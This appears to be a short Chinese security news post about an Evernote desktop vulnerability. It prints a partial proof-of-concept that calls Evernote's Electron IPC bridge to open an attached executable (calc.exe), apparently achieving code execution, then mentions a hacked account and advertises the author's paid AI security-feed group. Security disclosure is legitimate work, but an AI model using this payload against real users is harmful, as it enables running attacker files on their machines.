关键信息点

//部分poc
window.top.electronApi.ipcRenderer.send('BrokerBridge', {action: 'Bridge/Call',id: '7e803824-d666-4ffe-9ebb-39ac1bd7856f',topics: 'boron.actions.openFileAttachment',data:{'resource': {'hash':'2f82623f9523c0d167862cad0eff6806','mime': 'application/octet-stream','rect': {'left': 68,'top': 155,'width': 728.1428833007812,'height': 43.42857360839844},'state': 'loaded','reference': '22cad1af-d431-4af6-b818-0e34f9ff150b','selected': true,'url': 'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','isInk': false,'filesize': 45056,'filename': 'calc.exe'},'url':'en-cache://tokenKey%3D%22AuthToken%3AUser%3A245946624%22+f4cbd0d2-f670-52a7-7ea7-5720d65614fd+2f82623f9523c0d167862cad0eff6806+https://www.evernote.com/shard/s708/res/54938bad-ecb2-3aaa-6ad0-a9b7958d402f','noteGuid': 'f4cbd0d2-f670-52a7-7ea7-5720d65614fd','appName': ''}})

某知名安全大V，昨日印象笔记被黑

延伸阅读

最近的小玩意

• AI重构安全热点

• 

• Ai重构知识库+智能书签+导航

• 花费, 周均一亿多token

• 自动化输出方式(快讯星球+微博)

部分能力后期会开放，比如知识库/迪斯科等，星球身份应该是后期各服务的通行证
AI目前比较贵，为了可持续发展，设置了星球的地板价25元(系统最低价)

• 沟通群(过期添加red4blue,备注加群)